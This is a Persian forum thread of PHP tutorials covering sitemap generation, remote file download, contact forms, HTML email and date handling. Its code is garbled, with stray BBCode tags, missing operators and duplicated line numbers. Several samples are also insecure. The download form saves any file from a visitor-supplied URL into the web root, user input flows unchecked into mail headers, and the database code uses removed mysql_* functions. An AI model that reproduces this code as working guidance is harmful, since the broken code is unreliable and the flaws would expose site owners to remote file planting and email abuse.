    echo '<?xml version="1.0" encoding="UTF-8"?>
    <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">';



    اضافه کردن url ها در xml:در کد زیر یک جدول پایگاه داده با نام mytable با فیلدهای url و date برای مطالب در نظر گرفته ایم. کد زیر را بعد از کد بالا در فایل sitemap.xml ذخیره کنید:

    PHP:
    // selecting data from "mytable"[/COLOR][/LEFT][/COLOR][/LEFT]
    [COLOR=#0000ff]
    [LEFT][COLOR=#0000ff]
    [LEFT]// mytable = your article table name
    $query = @mysql_query("SELECT * FROM mytable");

    while(
    $row = @mysql_fetch_array($query)){
    // [url] = article url
    $url $row['url'];
    // [time] = article date
    $date date("Y-m-d"$row['time']);

    // NO CHANGES BELOW
        
    echo
        
    '<url>
         <loc>' 
    $url .'</loc>
         <lastmod>'
    $date .'</lastmod>
         <changefreq>daily</changefreq>
         <priority>0.8</priority>
         </url>
        '
    ;
    }
    echo 
    '</urlset>';?>


    همین! در کل فایل به صورت زیر است:

    PHP:
    <?php[/COLOR][/LEFT][/COLOR][/LEFT]
    [
    COLOR=#0000ff]
    [LEFT][COLOR=#0000ff]
    [LEFT]$host "localhost"// host name
    $user "user"// database user name
    $pass "password"// database password
    $database "dbname"// database name
    // connecting to database
    $connect = @mysql_connect($host,$user,$pass)or die (@mysql_error());
    // selecting database
    @mysql_select_db($database,$connect) or die (@mysql_error());

    // default header(don't delete)
    header("Content-Type: text/xml;charset=iso-8859-1");
        echo 
    '<?xml version="1.0" encoding="UTF-8"?>
        <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'
    ;

    // mytable = your content table name
    $query = @mysql_query("SELECT * FROM mytable");
    while(
    $row = @mysql_fetch_array($query)){
    // [url] = content url
    $url $row['url'];
    // [time] = content date
    $date date("Y-m-d"$row['time']);[/LEFT]

    [
    LEFT]// NO CHANGES BELOW
        
    echo
        
    '<url>
         <loc>' 
    $url .'</loc>
         <lastmod>'
    $date .'</lastmod>
         <changefreq>daily</changefreq>
         <priority>0.8</priority>
         </url>
        '
    ;
    }
        echo 
    '</urlset>';?>


    اگر دقت کرده باشید فایل ما به صورت sitemap.php است و ما میخواهیم به فایل sitemap.xml برسیم. برای این کار کد زیر را در فایل htaccess. در شاخه اصلی وبسایت ذخیره کنید:

    PHP:
    <IfModule mod_rewrite.c>[/COLOR][/LEFT][/COLOR][/LEFT]
    [
    COLOR=#0000ff]
    [LEFT][COLOR=#0000ff]
    [LEFT]RewriteEngine On
    RewriteRule 
    (.*)\.xml(.*) $1.php$[nocase]
    </
    IfModule>


    بعد از اضافه کردن کد بالا در فایل htaccess. آدرس نقشه سایت شما هنگام فراخوانی، از www.example.com/sitemap.php به www.example.com/sitemap.xml تبدیل میشود. یعنی شما آدرس نقشه سایت را با فرمت xml در موتورهای جستجو ثبت خواهید کرد.
     
    Roshana. و DaniyaL از این پست تشکر کرده اند.
  6. مدیر بازنشسته☕

    تاریخ عضویت:
    ‏15/8/17
    ارسال ها:
    5,336
    تشکر شده:
    42,669
    امتیاز دستاورد:
    113
    آموزش انتقال فایل از هاست به هاست
    برای انتقال فایلهای با حجم بالا از یک سرور به سرور دیگر زحمات زیادی لازمه و بسیار طاقت فرسا نیز هست، چون یک بار باید فایل رو دانلود کنید و سپس همون فایل رو آپلود کنید روی سروری که میخواهید. حالا فرض کنید حجم فایل شما بالای ۲۰۰ مگابایت هست و شما با اینترنت ۱۲۸ کیلو بیت به اینترنت وصل شده باشید …!!!! فکر میکنم لازم نیست دیگه بقیه ماجرا رو توضیح بدم. یه روش خوب برای راحتتر شدن این کار وجود داره و اون استفاده از یک کد PHP برای دانلود فایل از روی هاست دیگر (Remote File) هست. تابع نوشته شده در زیر برای اینکار مناسب هست و این کار رو برای شما انجام میده:
    PHP:
    function download_remote($url$save_path) {[/COLOR][/LEFT]
    [
    COLOR=#0000ff]
    [LEFT]    set_time_limit (0);
        
    $f fopen($save_path'w+');
        
    $handle fopen($url"rb");
        while (!
    feof($handle)) {
            
    $contents fread($handle8192);
            
    fwrite($f$contents);
        }
        
    fclose($handle);
        
    fclose($f);
    }

    در این متد ۸۱۹۲ بایت معادل ۸ کیلو بایت در یک زمان خوانده میشود نه کل فایل، چون اگر کل فایل در یک بار خوانده شود احتمالا خارج از حافظه تعیین شده در تنظیمات PHP خواهد بود. به عبارت دیگر کل فایل منتقل خواهد شد ولی هنگام انتقال در بخشهای ۸ کیلو بایتی منتقل میشود.

    مثال نحوه ی استفاده از تابع:

    PHP:
    if (isset($_POST['submit'])) {[/COLOR][/LEFT]
    [
    COLOR=#0000ff]
    [LEFT]    $url $_POST['url'];
        
    $file_name basename($url);
        
    $save_path $file_name;
        
    download_remote($url$save_path);
    }
    ?>
    <form action="" method="post">
        <label>file address:</label><input type="text" name="url"/>
        <p>example: https://daskhat.ir/sitemap.xml.gz</p>
        <input type="submit" name="submit" value="Download"/>
    </form>
     
    Roshana. و DaniyaL از این پست تشکر کرده اند.
  7. مدیر بازنشسته☕

    تاریخ عضویت:
    ‏15/8/17
    ارسال ها:
    5,336
    تشکر شده:
    42,669
    امتیاز دستاورد:
    113
    گاهی اوقات شما به یک صفحه ارتباط با ما نیاز دارید تا کاربران یا بازدید کنندگان بتونن با شما در ارتباط باشن . برای ساختن همچین صفحه ای می تونید از کدهای زیر استفاده کنید .


    تو این آموزش به دو فایل زیر نیاز داریم :

    ۱٫ contact.php

    ۲٫ send_contact.php

    مرحله اول :

    فایل contact.php رو باز کنید و کدهای زیر رو بنویسید :
    PHP:
    <html>
        <
    body>
            <
    form action="send_contact.php" method="post">
                
    subject: <input type="text" name="subject"><br>
                
    message:  <textarea name="message" cols="50" rows="4" id="detail"></textarea><br>
                
    name:    <input type="text" name="name"><br>
                
    email:   <input type="text" name="email"><br>
                <
    input type="submit" value="Submit" name="submit">
            </
    form>
        </
    body>
    </
    html>
    از این کدها برای ساختن فرم تماس با ما استفاده کردیم . پس از اینکه فایل رو درست کردید صفحه ای به شکل زیر خواهید داشت :

    مرحله دوم :

    کدهای زیر رو هم داخل send_contact.php وارد کنید :
    PHP:
    <?php

    if (isset($_POST['submit'])) {
        
    $to "your_email@example.com";
        
    $from "your_email@your_domain.com";

        
    $subject $_POST['subject'];
        
    $message $_POST['message'];
        
    $name $_POST['name'];
        
    $email $_POST['email'];

        
    $body "Name: $name\r\n E-Mail: $email\r\n Message:\r\n $message";


        
    $headers 'From: ' $from "\r\n" .
            
    'Reply-To: ' $email "\r\n" .
            
    'X-Mailer: PHP/' phpversion();

        if (@
    mail($to$subject$body$headers)) {
            
    $message "Email Sent Successfully!";
        } else {
            
    $message "Error: Sending email failed.";
        }
    }
    ?>
    [​IMG]
     
    Roshana.، Sheida و DaniyaL از این ارسال تشکر کرده اند.
  8. مدیر بازنشسته☕

    تاریخ عضویت:
    ‏15/8/17
    ارسال ها:
    5,336
    تشکر شده:
    42,669
    امتیاز دستاورد:
    113
    ارسال ایمیل Html با تابع “()mail” در php
    در این مطلب تابعی برای ارسال ایمیل Html نوشته شده است که شبیه به تابع ایمیل php بوده و کار را بسیار راحت تر میکند.
    PHP:
    function html_mail($to$subject$message$options)[/COLOR][/LEFT]
    [
    COLOR=#0000ff]
    [LEFT]{
        if(isset(
    $options['from_name']))
        {
            
    $headers "From: " $options['from_name'] . "<".$options['from_email'].">" "\r\n";
        }
        
    $headers .= "Reply-To: "strip_tags($_POST['req-email']) . "\r\n";
        
    //$headers .= "CC: someone@example.com\r\n";
        
    $headers .= "MIME-Version: 1.0\r\n";
        
    $headers .= "Content-Type: text/html; charset=ISO-8859-1\r\n";

        
    mail($to$subject$message$headers);
    }

    ساختار تابع بالا بسیار شبیه به ساختار تابع اصلی ایمیل “()mail” در php نوشته شده است تا بتوان به راحتی همانند قبل از آن استفاده کرد. پارامتر چهارم (options$) دیگر برای اطلاعات هدر نیست، ولی در داخل تابع برای تنظیمات و پارامترهای دیگر مانند نام ارسال کننده و … استفاده شده است.
    در زیر مثالی از نحوه استفاده تابع بالا نوشته شده است:

    PHP:
    $to 'tahmasebi.f@gmail.com';[/COLOR][/LEFT]
    [
    COLOR=#0000ff]
    [LEFT]$subject 'Welcome to website';
    $from_name 'Daskhat';
    $from_email 'no-reply@daskhat.ir';

    $message '<html><body>';
    $message .= '<table rules="all" style="border-color: #666;" cellpadding="10">';
    $message .= "<tr style='background: #eee;'><td><strong>Name:</strong> </td><td>Foad Tahmasebi</td></tr>";
    $message .= "<tr><td><strong>Email:</strong> </td><td>tahmasebi.f@gmail.com</td></tr>";
    $message .= "<tr><td><strong>Location:</strong> </td><td>Internet</td></tr>";
    $message .= "</table>";
    $message .= "</body></html>";

    html_mail($to$subject$message, array('from_email' => $from_email'from_name' => $from_name));


    بنابراین تمام تغییراتی که لازم است شما در کد php اعمال کنید، نوشتن تابع بالا در اسکریپت php تان و تغییر تابع “()mail” به تابع “()html_mail” و تبدیل متنهای ساده به فرمت Html است.
    این تابع برای اسکریپتهایی که وظایفی را انجام داده و برای اطلاع رسانی وضعیت فعلی، ایمیل ارسال میکنند مناسب است. به عبارت دیگر این تابع برای کسانی که میخواهند از آن فقط در حد ارسال ایمیل Html بهره مند شوند و امکانات بیشتری نیاز ندارند پیشنهاد میشود.
    از این روش نمیتوان به راحتی برای سایر امکانات ایمل مانند ارسال فایل پیوست و یا استفاده از یک SMTP سرور خاص استفاده کرد. اگر شما نیاز دارید که از امکانات پیشرفته ارسال ایمیل بهره ببرید، بهتر است از کتابخانه های توسعه یافته ارسال ایمیل مانند Phpmailer استفاده کنید.
     
    Roshana.، Sheida و DaniyaL از این ارسال تشکر کرده اند.
  9. مدیر بازنشسته☕

    تاریخ عضویت:
    ‏15/8/17
    ارسال ها:
    5,336
    تشکر شده:
    42,669
    امتیاز دستاورد:
    113
    آموزش تنظیم و تغییر ساعت سرور در PHP
    در برخی از مواقع اتفاق می افتد که زمان سرور با زمانی که که در آن هستید، متفاوت باشد. بعنوان مثال ممکن است ساعت شما ۷ باشد ولی ساعت نمایشی برای شما ۱۲ باشد.
    برای این که بتوانید ساعت را دقیق به صورت دلخواه در PHP تغییر دهید باید به روش های زیر این مار را انجام دهید.
    ۱- روش اول
    PHP:
    PHP


    $today 
    date('Y-m-d-G');
    $today strftime("%Y-%m-%d-%H"strtotime("$today -5 hour"));
    1
    2
    $today 
    date('Y-m-d-G');
    $today strftime("%Y-%m-%d-%H"strtotime("$today -5 hour"));
    عدد -۵ در برنامه برای این استفاده شده است که اگر برای مثال سرور شما ساعت ۲ را نمایش می دهد با استفاده از -۵ زمان را به ۵ ساعت قبل تبدیل کند و نمایش دهد.

    ۲- روش دوم
    PHP:
    date_default_timezone_set('Asia/Tehran');
    با این کار محل دقیق زمان را مشخص می کنید و زمان دقیق شما را به صورت بین الملی و خودکار تنظیم می کند.
     
    DaniyaL و Roshana. از این پست تشکر کرده اند.
  10. مدیر بازنشسته☕

    تاریخ عضویت:
    ‏15/8/17
    ارسال ها:
    5,336
    تشکر شده:
    42,669
    امتیاز دستاورد:
    113
    اضافه کردن تاریخ کپی رایت سایت به صورت اتوماتیک در PHP
    برای نمایش تاریخ کپی رایت سایت خود در PHP می توانید از تابع DATE استفاده کنید. اما باید فقط از مواردی که نیاز دارید در این تابع استفاده کنید. با استفاده از این تابع نیازی به تغییر دستی کپی رایت نیست و به صورت اتوماتیک سال کپی رایت برای شما تغییر خواهد کرد.
    نمایش سال جاری
    PHP:
    PHP


    &copy; <?php echo date("Y"?>
    1
    &copy; <?php echo date("Y"?>
    نمایش سال شروع کار تا سال جاری

    PHP:
    &copy;2008-<?phpechodate("Y")?>
     
    DaniyaL از این پست تشکر کرده است.